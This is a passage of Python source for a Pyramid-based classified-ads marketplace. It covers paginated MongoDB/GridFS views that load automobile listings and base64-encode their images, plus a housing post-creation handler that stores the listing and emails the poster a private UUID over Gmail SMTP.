automobiles_collection_document17_description = document17[\"Description\"]\n automobiles_collection_document17_mobile = document17[\"Mobile\"]\n automobiles_collection_document17_email = document17[\"Email\"]\n automobiles_collection_document17_category = document17[\"Category\"]\n automobiles_collection_document17_condition = document17[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document17_images_UTF8_list = []\n\n for raw_image in document17_images_list_rawFile:\n document17_binaryImage = raw_image.read()\n document17_base64Image = codecs.encode(document17_binaryImage, 'base64')\n document17_UTF8Image = document17_base64Image.decode('utf-8')\n document17_images_UTF8_list.append(document17_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document17_imageA = document17_images_UTF8_list[0]\n\n try:\n automobiles_collection_document17_imageB = document17_images_UTF8_list[1]\n except:\n automobiles_collection_document17_imageB = document17_images_UTF8_list[0]\n\n try:\n automobiles_collection_document17_imageC = document17_images_UTF8_list[2]\n except:\n automobiles_collection_document17_imageC = document17_images_UTF8_list[0]\n\n try:\n automobiles_collection_document17_imageD = document17_images_UTF8_list[3]\n except:\n automobiles_collection_document17_imageD = document17_images_UTF8_list[0] \n \n try:\n automobiles_collection_document17_imageE = document17_images_UTF8_list[4]\n except:\n automobiles_collection_document17_imageE = document17_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document18\n #######################\n\n # For the text strings,\n automobiles_collection_document18_productID = document18[\"Product ID\"]\n automobiles_collection_document18_username = document18[\"Username\"]\n automobiles_collection_document18_state = document18[\"State\"]\n automobiles_collection_document18_city = document18[\"City\"]\n automobiles_collection_document18_description = document18[\"Description\"]\n automobiles_collection_document18_mobile = document18[\"Mobile\"]\n automobiles_collection_document18_email = document18[\"Email\"]\n automobiles_collection_document18_category = document18[\"Category\"]\n automobiles_collection_document18_condition = document18[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document18_images_UTF8_list = []\n\n for raw_image in document18_images_list_rawFile:\n document18_binaryImage = raw_image.read()\n document18_base64Image = codecs.encode(document18_binaryImage, 'base64')\n document18_UTF8Image = document18_base64Image.decode('utf-8')\n document18_images_UTF8_list.append(document18_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document18_imageA = document18_images_UTF8_list[0]\n\n try:\n automobiles_collection_document18_imageB = document18_images_UTF8_list[1]\n except:\n automobiles_collection_document18_imageB = document18_images_UTF8_list[0]\n\n try:\n automobiles_collection_document18_imageC = document18_images_UTF8_list[2]\n except:\n automobiles_collection_document18_imageC = document18_images_UTF8_list[0]\n\n try:\n automobiles_collection_document18_imageD = document18_images_UTF8_list[3]\n except:\n automobiles_collection_document18_imageD = document18_images_UTF8_list[0] \n \n try:\n automobiles_collection_document18_imageE = document18_images_UTF8_list[4]\n except:\n automobiles_collection_document18_imageE = document18_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document19\n #######################\n\n # For the text strings,\n automobiles_collection_document19_productID = document19[\"Product ID\"]\n automobiles_collection_document19_username = document19[\"Username\"]\n automobiles_collection_document19_state = document19[\"State\"]\n automobiles_collection_document19_city = document19[\"City\"]\n automobiles_collection_document19_description = document19[\"Description\"]\n automobiles_collection_document19_mobile = document19[\"Mobile\"]\n automobiles_collection_document19_email = document19[\"Email\"]\n automobiles_collection_document19_category = document19[\"Category\"]\n automobiles_collection_document19_condition = document19[\"Condition\"]\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document19_images_UTF8_list = []\n\n for raw_image in document19_images_list_rawFile:\n document19_binaryImage = raw_image.read()\n document19_base64Image = codecs.encode(document19_binaryImage, 'base64')\n document19_UTF8Image = document19_base64Image.decode('utf-8')\n document19_images_UTF8_list.append(document19_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document19_imageA = document19_images_UTF8_list[0]\n\n try:\n automobiles_collection_document19_imageB = document19_images_UTF8_list[1]\n except:\n automobiles_collection_document19_imageB = document19_images_UTF8_list[0]\n\n try:\n automobiles_collection_document19_imageC = document19_images_UTF8_list[2]\n except:\n automobiles_collection_document19_imageC = document19_images_UTF8_list[0]\n\n try:\n automobiles_collection_document19_imageD = document19_images_UTF8_list[3]\n except:\n automobiles_collection_document19_imageD = document19_images_UTF8_list[0] \n \n try:\n automobiles_collection_document19_imageE = document19_images_UTF8_list[4]\n except:\n automobiles_collection_document19_imageE = document19_images_UTF8_list[0]\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document20\n #######################\n\n # For the text strings,\n automobiles_collection_document20_productID = document20[\"Product ID\"]\n automobiles_collection_document20_username = document20[\"Username\"]\n automobiles_collection_document20_state = document20[\"State\"]\n automobiles_collection_document20_city = document20[\"City\"]\n automobiles_collection_document20_description = document20[\"Description\"]\n automobiles_collection_document20_mobile = document20[\"Mobile\"]\n automobiles_collection_document20_email = document20[\"Email\"]\n automobiles_collection_document20_category = document20[\"Category\"]\n automobiles_collection_document20_condition = document20[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document20_images_UTF8_list = []\n\n for raw_image in document20_images_list_rawFile:\n document20_binaryImage = raw_image.read()\n document20_base64Image = codecs.encode(document20_binaryImage, 'base64')\n document20_UTF8Image = document20_base64Image.decode('utf-8')\n document20_images_UTF8_list.append(document20_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document20_imageA = document20_images_UTF8_list[0]\n\n try:\n automobiles_collection_document20_imageB = document20_images_UTF8_list[1]\n except:\n automobiles_collection_document20_imageB = document20_images_UTF8_list[0]\n\n try:\n automobiles_collection_document20_imageC = document20_images_UTF8_list[2]\n except:\n automobiles_collection_document20_imageC = document20_images_UTF8_list[0]\n\n try:\n automobiles_collection_document20_imageD = document20_images_UTF8_list[3]\n except:\n automobiles_collection_document20_imageD = document20_images_UTF8_list[0] \n \n try:\n automobiles_collection_document20_imageE = document20_images_UTF8_list[4]\n except:\n automobiles_collection_document20_imageE = document20_images_UTF8_list[0]\n\n\n # Close our database connection and free up resources.\n client4.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID16' : automobiles_collection_document16_productID,\n 'username16' : automobiles_collection_document16_username,\n 'state16' : automobiles_collection_document16_state,\n 'city16' : automobiles_collection_document16_city,\n 'description16' : automobiles_collection_document16_description,\n 'mobile16' : automobiles_collection_document16_mobile,\n 'email16' : automobiles_collection_document16_email,\n 'category16' : automobiles_collection_document16_category,\n 'condition16': automobiles_collection_document16_condition,\n 'image16A' : automobiles_collection_document16_imageA,\n 'image16B' : automobiles_collection_document16_imageB,\n 'image16C' : automobiles_collection_document16_imageC,\n 'image16D': automobiles_collection_document16_imageD,\n 'image16E': automobiles_collection_document16_imageE,\n\n 'productID17' : automobiles_collection_document17_productID,\n 'username17' : automobiles_collection_document17_username,\n 'state17' : automobiles_collection_document17_state,\n 'city17' : automobiles_collection_document17_city,\n 'description17' : automobiles_collection_document17_description,\n 'mobile17' : automobiles_collection_document17_mobile,\n 'email17' : automobiles_collection_document17_email,\n 'category17' : automobiles_collection_document17_category,\n 'condition17': automobiles_collection_document17_condition,\n 'image17A' : automobiles_collection_document17_imageA,\n 'image17B' : automobiles_collection_document17_imageB,\n 'image17C' : automobiles_collection_document17_imageC,\n 'image17D': automobiles_collection_document17_imageD,\n 'image17E': automobiles_collection_document17_imageE,\n\n 'productID18' : automobiles_collection_document18_productID,\n 'username18' : automobiles_collection_document18_username,\n 'state18' : automobiles_collection_document18_state,\n 'city18' : automobiles_collection_document18_city,\n 'description18' : automobiles_collection_document18_description,\n 'mobile18' : automobiles_collection_document18_mobile,\n 'email18' : automobiles_collection_document18_email,\n 'category18' : automobiles_collection_document18_category,\n 'condition18': automobiles_collection_document18_condition,\n 'image18A' : automobiles_collection_document18_imageA,\n 'image18B' : automobiles_collection_document18_imageB,\n 'image18C' : automobiles_collection_document18_imageC,\n 'image18D': automobiles_collection_document18_imageD,\n 'image18E': automobiles_collection_document18_imageE,\n\n 'productID19' : automobiles_collection_document19_productID,\n 'username19' : automobiles_collection_document19_username,\n 'state19' : automobiles_collection_document19_state,\n 'city19' : automobiles_collection_document19_city,\n 'description19' : automobiles_collection_document19_description,\n 'mobile19' : automobiles_collection_document19_mobile,\n 'email19' : automobiles_collection_document19_email,\n 'category19' : automobiles_collection_document19_category,\n 'condition19': automobiles_collection_document19_condition,\n 'image19A' : automobiles_collection_document19_imageA,\n 'image19B' : automobiles_collection_document19_imageB,\n 'image19C' : automobiles_collection_document19_imageC,\n 'image19D': automobiles_collection_document19_imageD,\n 'image19E': automobiles_collection_document19_imageE,\n\n 'productID20' : automobiles_collection_document20_productID,\n 'username20' : automobiles_collection_document20_username,\n 'state20' : automobiles_collection_document20_state,\n 'city20' : automobiles_collection_document20_city,\n 'description20' : automobiles_collection_document20_description,\n 'mobile20' : automobiles_collection_document20_mobile,\n 'email20' : automobiles_collection_document20_email,\n 'category20' : automobiles_collection_document20_category,\n 'condition20': automobiles_collection_document20_condition,\n 'image20A' : automobiles_collection_document20_imageA,\n 'image20B' : automobiles_collection_document20_imageB,\n 'image20C' : automobiles_collection_document20_imageC,\n 'image20D': automobiles_collection_document20_imageD,\n 'image20E': automobiles_collection_document20_imageE,\n }\n\n\n\n\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(route_name='automobiles_viewProducts2_page5', renderer='templates/automobiles_templates/automobiles_viewProducts2_page5.pt')\n def automobiles_viewProducts2_page5(self):\n import pymongo\n from pymongo import MongoClient\n import gridfs\n from gridfs import GridFS\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client5 = MongoClient('%s' % connection_string)\n db = client5.spacenetng_database\n\n # Create or open a text based records collection called automobiles_text_collection\n text_collection_automobiles = db.automobiles_text_collection\n\n # Establish gridfs collection connection\n # Creating or getting an automobiles gridfs collection called 'automobiles_images_collection'\n # (Getting the GridFS object)\n image_collection_automobiles = GridFS(db, \"automobiles_images_collection\")\n\n # Retrieve document record from database operation\n automobiles_collection = text_collection_automobiles.find().sort([(\"_id\", pymongo.DESCENDING)]).skip(20).limit(5) #This returns 25 records\n\n # Push documents into a list\n automobiles_collection_list = []\n\n for record in automobiles_collection:\n automobiles_collection_list.append(record)\n\n document21 = automobiles_collection_list[0]\n document22 = automobiles_collection_list[1]\n document23 = automobiles_collection_list[2]\n document24 = automobiles_collection_list[3]\n document25 = automobiles_collection_list[4]\n\n\n # Extracting images\n # The images for document21\n document21_images_list_rawFile = []\n for image_name in document21[\"Images\"]:\n document21_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document22\n document22_images_list_rawFile = []\n for image_name in document22[\"Images\"]:\n document22_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document23\n document23_images_list_rawFile = []\n for image_name in document23[\"Images\"]:\n document23_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document24\n document24_images_list_rawFile = []\n for image_name in document24[\"Images\"]:\n document24_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n # The images for document25\n document25_images_list_rawFile = []\n for image_name in document25[\"Images\"]:\n document25_images_list_rawFile.append(image_collection_automobiles.get_last_version(filename=image_name))\n\n\n ##############################################\n # Collecting record from individual documents\n ##############################################\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document21\n #######################\n\n # For the text strings,\n automobiles_collection_document21_productID = document21[\"Product ID\"]\n automobiles_collection_document21_username = document21[\"Username\"]\n automobiles_collection_document21_state = document21[\"State\"]\n automobiles_collection_document21_city = document21[\"City\"]\n automobiles_collection_document21_description = document21[\"Description\"]\n automobiles_collection_document21_mobile = document21[\"Mobile\"]\n automobiles_collection_document21_email = document21[\"Email\"]\n automobiles_collection_document21_category = document21[\"Category\"]\n automobiles_collection_document21_condition = document21[\"Condition\"]\n\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document21_images_UTF8_list = []\n\n for raw_image in document21_images_list_rawFile:\n document21_binaryImage = raw_image.read()\n document21_base64Image = codecs.encode(document21_binaryImage, 'base64')\n document21_UTF8Image = document21_base64Image.decode('utf-8')\n document21_images_UTF8_list.append(document21_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document21_imageA = document21_images_UTF8_list[0]\n\n try:\n automobiles_collection_document21_imageB = document21_images_UTF8_list[1]\n except:\n automobiles_collection_document21_imageB = document21_images_UTF8_list[0]\n\n try:\n automobiles_collection_document21_imageC = document21_images_UTF8_list[2]\n except:\n automobiles_collection_document21_imageC = document21_images_UTF8_list[0]\n\n try:\n automobiles_collection_document21_imageD = document21_images_UTF8_list[3]\n except:\n automobiles_collection_document21_imageD = document21_images_UTF8_list[0] \n \n try:\n automobiles_collection_document21_imageE = document21_images_UTF8_list[4]\n except:\n automobiles_collection_document21_imageE = document21_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document22\n #######################\n\n # For the text strings,\n automobiles_collection_document22_productID = document22[\"Product ID\"]\n automobiles_collection_document22_username = document22[\"Username\"]\n automobiles_collection_document22_state = document22[\"State\"]\n automobiles_collection_document22_city = document22[\"City\"]\n automobiles_collection_document22_description = document22[\"Description\"]\n automobiles_collection_document22_mobile = document22[\"Mobile\"]\n automobiles_collection_document22_email = document22[\"Email\"]\n automobiles_collection_document22_category = document22[\"Category\"]\n automobiles_collection_document22_condition = document22[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document22_images_UTF8_list = []\n\n for raw_image in document22_images_list_rawFile:\n document22_binaryImage = raw_image.read()\n document22_base64Image = codecs.encode(document22_binaryImage, 'base64')\n document22_UTF8Image = document22_base64Image.decode('utf-8')\n document22_images_UTF8_list.append(document22_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document22_imageA = document22_images_UTF8_list[0]\n\n try:\n automobiles_collection_document22_imageB = document22_images_UTF8_list[1]\n except:\n automobiles_collection_document22_imageB = document22_images_UTF8_list[0]\n\n try:\n automobiles_collection_document22_imageC = document22_images_UTF8_list[2]\n except:\n automobiles_collection_document22_imageC = document22_images_UTF8_list[0]\n\n try:\n automobiles_collection_document22_imageD = document22_images_UTF8_list[3]\n except:\n automobiles_collection_document22_imageD = document22_images_UTF8_list[0] \n \n try:\n automobiles_collection_document22_imageE = document22_images_UTF8_list[4]\n except:\n automobiles_collection_document22_imageE = document22_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document23\n #######################\n\n # For the text strings,\n automobiles_collection_document23_productID = document23[\"Product ID\"]\n automobiles_collection_document23_username = document23[\"Username\"]\n automobiles_collection_document23_state = document23[\"State\"]\n automobiles_collection_document23_city = document23[\"City\"]\n automobiles_collection_document23_description = document23[\"Description\"]\n automobiles_collection_document23_mobile = document23[\"Mobile\"]\n automobiles_collection_document23_email = document23[\"Email\"]\n automobiles_collection_document23_category = document23[\"Category\"]\n automobiles_collection_document23_condition = document23[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document23_images_UTF8_list = []\n\n for raw_image in document23_images_list_rawFile:\n document23_binaryImage = raw_image.read()\n document23_base64Image = codecs.encode(document23_binaryImage, 'base64')\n document23_UTF8Image = document23_base64Image.decode('utf-8')\n document23_images_UTF8_list.append(document23_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document23_imageA = document23_images_UTF8_list[0]\n\n try:\n automobiles_collection_document23_imageB = document23_images_UTF8_list[1]\n except:\n automobiles_collection_document23_imageB = document23_images_UTF8_list[0]\n\n try:\n automobiles_collection_document23_imageC = document23_images_UTF8_list[2]\n except:\n automobiles_collection_document23_imageC = document23_images_UTF8_list[0]\n\n try:\n automobiles_collection_document23_imageD = document23_images_UTF8_list[3]\n except:\n automobiles_collection_document23_imageD = document23_images_UTF8_list[0] \n \n try:\n automobiles_collection_document23_imageE = document23_images_UTF8_list[4]\n except:\n automobiles_collection_document23_imageE = document23_images_UTF8_list[0]\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document24\n #######################\n\n # For the text strings,\n automobiles_collection_document24_productID = document24[\"Product ID\"]\n automobiles_collection_document24_username = document24[\"Username\"]\n automobiles_collection_document24_state = document24[\"State\"]\n automobiles_collection_document24_city = document24[\"City\"]\n automobiles_collection_document24_description = document24[\"Description\"]\n automobiles_collection_document24_mobile = document24[\"Mobile\"]\n automobiles_collection_document24_email = document24[\"Email\"]\n automobiles_collection_document24_category = document24[\"Category\"]\n automobiles_collection_document24_condition = document24[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document24_images_UTF8_list = []\n\n for raw_image in document24_images_list_rawFile:\n document24_binaryImage = raw_image.read()\n document24_base64Image = codecs.encode(document24_binaryImage, 'base64')\n document24_UTF8Image = document24_base64Image.decode('utf-8')\n document24_images_UTF8_list.append(document24_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document24_imageA = document24_images_UTF8_list[0]\n\n try:\n automobiles_collection_document24_imageB = document24_images_UTF8_list[1]\n except:\n automobiles_collection_document24_imageB = document24_images_UTF8_list[0]\n\n try:\n automobiles_collection_document24_imageC = document24_images_UTF8_list[2]\n except:\n automobiles_collection_document24_imageC = document24_images_UTF8_list[0]\n\n try:\n automobiles_collection_document24_imageD = document24_images_UTF8_list[3]\n except:\n automobiles_collection_document24_imageD = document24_images_UTF8_list[0] \n \n try:\n automobiles_collection_document24_imageE = document24_images_UTF8_list[4]\n except:\n automobiles_collection_document24_imageE = document24_images_UTF8_list[0]\n\n\n\n\n\n\n #######################//////////////////////////////////////////////////////////////////////////////////////////////\n # For document25\n #######################\n\n # For the text strings,\n automobiles_collection_document25_productID = document25[\"Product ID\"]\n automobiles_collection_document25_username = document25[\"Username\"]\n automobiles_collection_document25_state = document25[\"State\"]\n automobiles_collection_document25_city = document25[\"City\"]\n automobiles_collection_document25_description = document25[\"Description\"]\n automobiles_collection_document25_mobile = document25[\"Mobile\"]\n automobiles_collection_document25_email = document25[\"Email\"]\n automobiles_collection_document25_category = document25[\"Category\"]\n automobiles_collection_document25_condition = document25[\"Condition\"]\n\n\n # Images\n # Convert raw image into \"UTF-8\"(html) acceptable form\n import codecs\n document25_images_UTF8_list = []\n\n for raw_image in document25_images_list_rawFile:\n document25_binaryImage = raw_image.read()\n document25_base64Image = codecs.encode(document25_binaryImage, 'base64')\n document25_UTF8Image = document25_base64Image.decode('utf-8')\n document25_images_UTF8_list.append(document25_UTF8Image)\n\n\n # Hence, for the images our utf-8 images becomes,\n # Test for our variables, improvise in the cases for non-existence of\n # files in that index handle exceptions.\n\n automobiles_collection_document25_imageA = document25_images_UTF8_list[0]\n\n try:\n automobiles_collection_document25_imageB = document25_images_UTF8_list[1]\n except:\n automobiles_collection_document25_imageB = document25_images_UTF8_list[0]\n\n try:\n automobiles_collection_document25_imageC = document25_images_UTF8_list[2]\n except:\n automobiles_collection_document25_imageC = document25_images_UTF8_list[0]\n\n try:\n automobiles_collection_document25_imageD = document25_images_UTF8_list[3]\n except:\n automobiles_collection_document25_imageD = document25_images_UTF8_list[0] \n \n try:\n automobiles_collection_document25_imageE = document25_images_UTF8_list[4]\n except:\n automobiles_collection_document25_imageE = document25_images_UTF8_list[0]\n\n # Close our database connection and free up resources.\n client5.close()\n\n # Pack all return variables into a JSON Structure and use for return\n return{\n 'productID21' : automobiles_collection_document21_productID,\n 'username21' : automobiles_collection_document21_username,\n 'state21' : automobiles_collection_document21_state,\n 'city21' : automobiles_collection_document21_city,\n 'description21' : automobiles_collection_document21_description,\n 'mobile21' : automobiles_collection_document21_mobile,\n 'email21' : automobiles_collection_document21_email,\n 'category21' : automobiles_collection_document21_category,\n 'condition21': automobiles_collection_document21_condition,\n 'image21A' : automobiles_collection_document21_imageA,\n 'image21B' : automobiles_collection_document21_imageB,\n 'image21C' : automobiles_collection_document21_imageC,\n 'image21D': automobiles_collection_document21_imageD,\n 'image21E': automobiles_collection_document21_imageE,\n\n 'productID22' : automobiles_collection_document22_productID,\n 'username22' : automobiles_collection_document22_username,\n 'state22' : automobiles_collection_document22_state,\n 'city22' : automobiles_collection_document22_city,\n 'description22' : automobiles_collection_document22_description,\n 'mobile22' : automobiles_collection_document22_mobile,\n 'email22' : automobiles_collection_document22_email,\n 'category22' : automobiles_collection_document22_category,\n 'condition22': automobiles_collection_document22_condition,\n 'image22A' : automobiles_collection_document22_imageA,\n 'image22B' : automobiles_collection_document22_imageB,\n 'image22C' : automobiles_collection_document22_imageC,\n 'image22D': automobiles_collection_document22_imageD,\n 'image22E': automobiles_collection_document22_imageE,\n\n 'productID23' : automobiles_collection_document23_productID,\n 'username23' : automobiles_collection_document23_username,\n 'state23' : automobiles_collection_document23_state,\n 'city23' : automobiles_collection_document23_city,\n 'description23' : automobiles_collection_document23_description,\n 'mobile23' : automobiles_collection_document23_mobile,\n 'email23' : automobiles_collection_document23_email,\n 'category23' : automobiles_collection_document23_category,\n 'condition23': automobiles_collection_document23_condition,\n 'image23A' : automobiles_collection_document23_imageA,\n 'image23B' : automobiles_collection_document23_imageB,\n 'image23C' : automobiles_collection_document23_imageC,\n 'image23D': automobiles_collection_document23_imageD,\n 'image23E': automobiles_collection_document23_imageE,\n\n 'productID24' : automobiles_collection_document24_productID,\n 'username24' : automobiles_collection_document24_username,\n 'state24' : automobiles_collection_document24_state,\n 'city24' : automobiles_collection_document24_city,\n 'description24' : automobiles_collection_document24_description,\n 'mobile24' : automobiles_collection_document24_mobile,\n 'email24' : automobiles_collection_document24_email,\n 'category24' : automobiles_collection_document24_category,\n 'condition24': automobiles_collection_document24_condition,\n 'image24A' : automobiles_collection_document24_imageA,\n 'image24B' : automobiles_collection_document24_imageB,\n 'image24C' : automobiles_collection_document24_imageC,\n 'image24D': automobiles_collection_document24_imageD,\n 'image24E': automobiles_collection_document24_imageE,\n\n 'productID25' : automobiles_collection_document25_productID,\n 'username25' : automobiles_collection_document25_username,\n 'state25' : automobiles_collection_document25_state,\n 'city25' : automobiles_collection_document25_city,\n 'description25' : automobiles_collection_document25_description,\n 'mobile25' : automobiles_collection_document25_mobile,\n 'email25' : automobiles_collection_document25_email,\n 'category25' : automobiles_collection_document25_category,\n 'condition25': automobiles_collection_document25_condition,\n 'image25A' : automobiles_collection_document25_imageA,\n 'image25B' : automobiles_collection_document25_imageB,\n 'image25C' : automobiles_collection_document25_imageC,\n 'image25D': automobiles_collection_document25_imageD,\n 'image25E': automobiles_collection_document25_imageE,\n }\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n\n\n\n\n\n\n\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# HOUSING VIEWS\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n# ***************************************************************************************************************************\n\n# ########################################################################################################################\n# ########################################################################################################################\n# ########################################################################################################################\n# Create\n@view_defaults(route_name='housing_createNewPost')\nclass HousingCreateNewPostViews(object):\n def __init__(self, request):\n self.request = request\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n @view_config(renderer='templates/housing_templates/housing_createNewPost.pt')\n def housing_createNewPost(self):\n return {}\n\n\n # *************************************************************************************************************\n # *************************************************************************************************************\n # # Perform operation on query params, send values to the database and give the user a Response after creation \n # of a new post.\n @view_config(request_method='POST', request_param='housing_create_submitButton')\n def housing_createNewPost_response(self):\n from pyramid.httpexceptions import HTTPFound\n\n # Collect variables from form fields\n # Get text items from form page\n housing_create_username = self.request.params['housing_create_username']\n housing_create_statesList = self.request.params['housing_create_statesList']\n housing_create_city = self.request.params['housing_create_city']\n housing_create_textarea = self.request.params['housing_create_textarea']\n housing_create_mobile = self.request.params['housing_create_mobile']\n housing_create_email = self.request.params['housing_create_email']\n housing_create_category = self.request.params['housing_create_category']\n housing_create_condition = self.request.params['housing_create_condition']\n\n # Get images from form page\n housing_create_images = self.request.POST.getall('housing_create_images')\n\n # Use this for our rest API insertion operation\n housing_create_images_names_list = []\n for housing_create_image_name in housing_create_images:\n housing_create_images_names_list.append(housing_create_image_name.filename)\n\n # use this for gridFS insertion operation\n housing_create_images_list = []\n for housing_create_image in housing_create_images:\n housing_create_images_list.append(housing_create_image)\n\n\n # Create other backend variables\n # create Product ID\n from .myModules import ran_gen_a\n housing_create_productID = ran_gen_a(8, \"AEIOSODMG23\")\n\n\n # Create a UUID number\n import uuid\n housing_create_privateUUID = uuid.uuid4()\n\n # Get specific date\n import datetime\n housing_create_dateTime = datetime.datetime.utcnow()\n\n\n # Create our RES API structure and push data to the RES\n housing_resAPI_json = {\n \"Private UUID\": \"\",\n \"Product ID\": \"\",\n \"Username\": \"\",\n \"State\": \"\",\n \"City\": \"\",\n \"Description\": \"\",\n \"Mobile\": \"\",\n \"Email\": \"\",\n \"Category\": \"\",\n \"Condition\": \"\",\n \"Images\": [],\n \"date\": \"\",\n }\n\n\n housing_resAPI_json[\"Private UUID\"] = housing_create_privateUUID\n housing_resAPI_json[\"Product ID\"] = housing_create_productID\n housing_resAPI_json[\"Username\"] = housing_create_username\n housing_resAPI_json[\"State\"] = housing_create_statesList\n housing_resAPI_json[\"City\"] = housing_create_city\n housing_resAPI_json[\"Description\"] = housing_create_textarea\n housing_resAPI_json[\"Mobile\"] = housing_create_mobile\n housing_resAPI_json[\"Email\"] = housing_create_email\n housing_resAPI_json[\"Category\"] = housing_create_category\n housing_resAPI_json[\"Condition\"] = housing_create_condition\n housing_resAPI_json[\"Images\"] = housing_create_images_names_list\n housing_resAPI_json[\"date\"] = housing_create_dateTime\n\n\n\n # Initialise database connection and perform CRUD operation on text and images\n # Perform CRUD operation on text strings\n import pymongo\n from pymongo import MongoClient\n # Extract connection string from enviroment variables\n import os\n from dotenv import load_dotenv\n load_dotenv()\n connection_string = os.environ['MY_CONNECTION_STRING']\n # Open database connection and get or create a database called spacenetng_database\n import dns\n client = MongoClient('%s' % connection_string)\n db = client.spacenetng_database\n\n # Create or open a text based records collection called housing_text_collection\n text_collection= db.housing_text_collection\n\n # Insert API into database and close our connected client's connection\n text_collection.insert_one(housing_resAPI_json)\n\n\n # Perform CRUD operation on images\n import gridfs\n from gridfs import GridFS\n\n # Creating or getting an housing gridfs collection called 'housing_images_collection'\n # (Getting the GridFS object)\n image_collection = GridFS(db, \"housing_images_collection\")\n\n # Inserting files into gridfs and close our connected client's connection\n for image in housing_create_images_list:\n image_collection.put(image.file, filename=image.filename)\n\n # Close our database connection and free up resources.\n client.close()\n\n\n # # ############################################################################################\n # # Send private UUID to user's Email using login details and gmail server using inbuilt python email package\n import smtplib, os, sys\n from smtplib import SMTP\n from email.message import EmailMessage\n from dotenv import load_dotenv\n load_dotenv()\n\n try:\n email_content = (\"\"\"\\\n Hello %s, thanks for posting on spacenetng platform, an online commercial market place where buyers and sellers\n meet to carry out business transactions. Please be advised, a private user UUID has been created for you which \n you can use to update or delete your post and it should be kept confidential.\\n\n Here is your Seceret hey: %s\\n\n For support and enquiries please contact us via our contact details found on our contact page in our website.\\n\n Thanks for using this service, we hope to serve you better!!.\n \"\"\"\n % (housing_create_username, housing_create_privateUUID)\n \n )\n\n msg = EmailMessage()\n msg.set_content(email_content)\n\n msg['Subject'] = 'Your UUID from Spacenetng'\n msg['From'] = 'spacenetngbase@gmail.com'\n msg['To'] = housing_create_email\n\n server_ssl = smtplib.SMTP_SSL('smtp.gmail.com', 465)\n server_ssl.ehlo()\n\n email = os.environ['MY_EMAIL_ADDRESS']\n passWord = os.environ['MY_EMAIL_PASSWORD']\n\n server_ssl.login(email, passWord)\n server_ssl.send_message(msg) \n server_ssl.quit() # Terminate the SMTP session and free up resources \n \n # Or And,\n # print('Message sent successfully!!')\n\n except:\n pass\n # Or\n # print X\n\n finally:\n pass\n\n\n ######################################################\n # Redirect user to view what he/she has just posted \n body = (\n \"\"\n \"\"\n \"\"\n \"

Thanks for using our service, your post has been recorded successfully!! \"\n \"
\"\n \"You will be redirected shortly.

